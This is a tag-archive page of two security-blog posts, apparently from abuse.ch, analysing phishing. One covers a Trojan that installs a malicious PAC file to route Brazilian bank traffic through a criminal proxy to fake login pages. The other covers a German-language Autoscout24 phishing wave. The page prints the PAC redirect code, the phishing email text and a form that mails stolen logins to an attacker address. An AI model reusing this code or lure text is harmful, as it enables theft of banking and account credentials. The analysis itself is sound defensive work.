Tag Archives: Phishing

Phishing eBanking Credentials Using Web-Proxies

Everybody is talking about banking Trojans like Mebroot, Gozi, ZeuS and SpyEye and how sophisticated they are. But in this post I would like to show you a different and very simple way that cybercriminals can get your banking credentials without using sophisticated Trojans.

While taking a look at the latest malware binaries on AMaDa I came across a sample which have made a suspicious GET request to a .CH website. The HTTP GET request made by the infected machine looks like this:

GET /pages/dyn/dyn/logs HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Win32)
Host: www.*hidden*.ch

The request was made to a hijacked website, therefore I’ve disclosed the address. But what I can say is that the website happens to belong to a Swiss party of the right wing.

The content the infected machine got back from the site looks very suspicious:

<script type='text/javascript'>
function FindProxyForURL(url, host) {
var d = new Array("www.bradesco.com.br","bradesco.com.br","bradesco.com",
for(var i =0;i<d.length;i++) { if (shExpMatch(host, d[i])) {
return "PROXY"; } }

var n = new Array("www.bb.com.br","bb.com.br","www.bancodobrasil.com.br",
for(var i =0;i<n.length;i++) { if (shExpMatch(host, n[i])) {
return "PROXY"; } }

var c = new Array("www.caixa.gov.br","caixa.gov.br","internetbanking.caixa.com.br",
for(var i =0;i<c.length;i++) { if (shExpMatch(host, c[i])) {
return "PROXY"; } }

return "DIRECT"; }

Hum… JavaScript code. Does it ring a bell? That’s a PAC file! For those who are not familiar with PAC files: A PAC file is a so called Proxy Auto-Config file which is supported by various web browser to automatically configure the proxy settings of the browser. PAC files are most often used in cooperate networks to tell the web browser to automatically choose the appropriate proxy server (see Wikipedia).

But one question remains: What’s the intend of this PAC file? Well as you probably noticed there are some interesting domain names defined in the PAC file for example internetbanking.caixa.com.br. If you visit the domains listed above you will notice that all of them are websites of Brazilian Banks.

In fact this means: Whenever a victim visits a website listed in the PAC file using a infected computer, the request will be routed thorught the following web proxy which is located in the USA:

Proxy Host:
Proxy Port: 80
AS number: AS26277
AS name: PREMIANET – Las Vegas NV Datacenter
Country: US

OK, let’s summarize: The victims browser is now using a web proxy which is obviously managed by cybercriminals and used to steal credentials of online banking accounts. But how do the cybercriminals manage to get the credentials? Remember that you can not easily do a man in the middle (MITM) attack on an ebanking session due to the fact that you are using SSL to communicate with your online bank. So if they would do a MITM between your computer and your online bank you would get a certificate warning from your web browser, right?

I was very curious as to how the cybercriminals solved this problem, so I decided to infect a VM with the Trojan and take a closer look at it.

After infecting the computer with the Trojan I tried to open www.google.ch in the web browser:

GET / HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.google.ch
Connection: Keep-Alive

Let’s do a short crosscheck on this:

$ dig +short www.google.ch

Looks good: The web browser communicated directly to www.google.ch ( without using the cybercriminal’s proxy.

Let’s do another test and this time we use www.banrisul.com.br which is listed in the PAC-file. This means that for this URL the web browser should use the web proxy instead of going to the website directly:

GET http://www.banrisul.com.br/ HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.banrisul.com.br
Proxy-Connection: Keep-Alive

A short crosscheck:

$ dig +short www.banrisul.com.br

As expected the web browser uses the cybercriminal’s web proxy ( instead of connecting to the banks website directly – that’s bad. What is interesting is the content which we get back from the cybercriminal’s web proxy:

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 302
Connection: close
Content-Type: text/html; charset=UTF-8

<title>Portal Internet Banrisul  | Banco do Estado do Rio Grande do Sul, S.A. </title>
<LINK REL="SHORTCUT ICON" href="banrisul.ico" type="image/x-icon">
<frameset rows="100%" border="0" frameborder="0" framespacing="0"><br /><br />
<frame name=top src=http://www.moser.in.rs/_//banrisul></frameset>

That’s not what I’ve expect: This is not the website of the bank we wanted to visit! It’s simple HTML code with a frameset pointing to a different website:


It’s seems to be a legitimate website running Joomla CMS. So most probably this website is hijacked because if we take a look at the “banrisul” directory we will see a replica of the Bank’s website we originally wanted to visit. In the victims web browser it will look like this:

Please notice that the address bar still displays the website of the banking site which we originally wanted to visit. But if we move the cursor over a hyper link on the website we will see the website it is really pointing to. If the victim now want to login to his online bank he will get a web form which animates the victim to enter his account number, password and PIN/TAN:

Of course the credentials won’t be submitted to his online bank rather then to the cybercriminals.

This is a pretty interesting example which shows how easy it can be for cybercriminals to obtain credentials for online banking accounts. If we summarize this simple phishing we are able to make the following conclusions:

  • The cybercriminals does not need to do a MITM, they just fake the website of your online bank. Pretty simple but very effective!
  • Everything that the cybercriminal needs do to on the victims side (client) is to change the address of the PAC-file in the web browser
  • To change the that PAC-files address, the cybercriminals doesn’t even need to install a Trojan horse: They just need a small script which changes a registry key
  • Therefore there is no Trojan horse which can be detected by the AV vendors because changing the address of the PAC file don’t have to be a malicious activity
  • The only chance to mitigate the threat is to detect the malicious script/binaries which change the address of the PAC file before the infection

If the AV-vendors are not able to detect the malicious file before the infection happens, the last line of defense is the network by detecting and mitigating the malicious traffic to the cybercriminal’s web proxy on the network layer. And at least in this case it is another example how poor the AV detection rate can be:

File name: foto.exe
File size: 372224 bytes
MD5: 91a42b9bdca567c31fe1692c13a9de1d
SHA1: 79497ebc0372c8c5352b2f30f9ddb2d0965de3fa
VT Result: 1 /42 (2.4%)

Are the cybercriminals going away from classic eBanking Trojans like ZeuS & Co and go over to the scheme described above? We will see what the future brings…

You can also follow abuse.ch on Twitter: twitter.com/abuse_ch

Phishing Attacke gegen Autoscout24

Seite heute Morgen kurz nach 06:00 Uhr scheint eine gezielte phishing Attacke gegen autoscout24 im Gange zu sein. Das Phishing-Mail täuscht vor, vom Absender info@autoscout24.ch zu stammen. Der Absender ist in Wahrheit jedoch gefälscht:

Von: info@autoscout24.ch
Betreff: Verkaeufer Informationen Haben Erfordert


Liebes Mitglied Autoscout24,

Wir haben kurzlich bemerkt, dass eine oder mehr Versuche in zu Ihrem autoscout24 Konto von einem auslandischen IP Adresse loggen..

Wenn Sie kurzlich auf Ihr Konto zugegriffen haben, wahrend Reisen, durfte der ungewohnliche Klotz in Versuchen von Ihnen eingeleitet worden sein. Jedoch, wenn Sie den Klotz in nicht eingeleitet haben, bitte Besuch autoscout24 sobald moglich, Ihre Identitat zu beglaubigen:


Beglaubigt, dass Ihre Identitat ein Sicherheitsma©¬ ist, das sichern wird, dass Sie die einzige Person mit Zugriff auf das Konto sind.

Dank fur Ihre Geduld, als wir zusammenarbeiten, Ihr Konto zu schutzen.

Fur mehr Informationen sieht bitte den Verbindungsblasebalg:


Mit freundlichen Grussen,

AutoScout24 Team,
AutoScout24 GmbH
Rosenheimer Str. 143 b
81671 Munchen

Das Phishing-Mail ist in schlechtem deutsch verfasst und versucht den Empfänger auf eine Phishing-Seite zu locken:


Die Phishing Webseite autoscout24-reg.info ( wird bei einem Provider in Grossbritannien gehostet:

inetnum: –
netname: UK2-NET
descr: UK2.net
remarks: Abuse matters to: abuse@uk2.net
remarks: Abuse mail to any other address may be ignored
country: GB

Gibt das Opfer seine Autoscout24 Login Informationen ein, werde diese an den Urheber der Phishing-Mails gesendet. Interessant ist in diesem Fall der HTML-Quellcode der Phishing-Webseite, dort findet man nämlich die E-Mail Adresse, an welche die gephishten Login Informationen gehen:

<\FORM style="MARGIN: 0px" name=SignInForm onsubmit=setOptimCookie();readFlash(); action=http://www.step-sa.fr/cgi-bin/mailform.cgi method=post ?><\INPUT type=hidden value=username,password,email,email_p name=data_order> <\INPUT type=hidden value=fameia_bionica@yahoo.com name=submit_to> <\INPUT type=hidden value=http://magazin.autoscout24.de/container/container-2/cookies_ab_ie6.asp name=ok_url>

Mit einem Klick auf den Button “Anmelden” werden die angegebenen Login-Daten über ein CGI-Script auf www.step-sa.fr per E-Mail an eine Yahoo E-Mail Adresse gesandt:


Den Empfänger solcher Phishing-Mails wird dringen davon abgeraten, auf den im Phishing-Mail angegebenen Link zu klicken sowie auf keinen Fall seine Login-Daten bekannt zu geben.

UPDATE 19. März 2009

Seit heute Morgen ist erneut eine Phishing-Welle gegen Autoscout24 am rollen. Absender, E-Mail Betreff und E-Mail Text sind die selben wie bei der letzte Phishing-Welle. Die angepriesene URL ist jedoch eine andere (autoscot24-ch.info):


Die Webseite wird diesmal auf einem Server in den USA betrieben:

Domain: autoscot24-ch.info
IP address:

NetRange: –
OrgName: Webhost4life.com
OrgID: UMA-9
Address: 1055 Corporate Center Drive Suite 210
City: Monterey Park
StateProv: CA
PostalCode: 91754
Country: US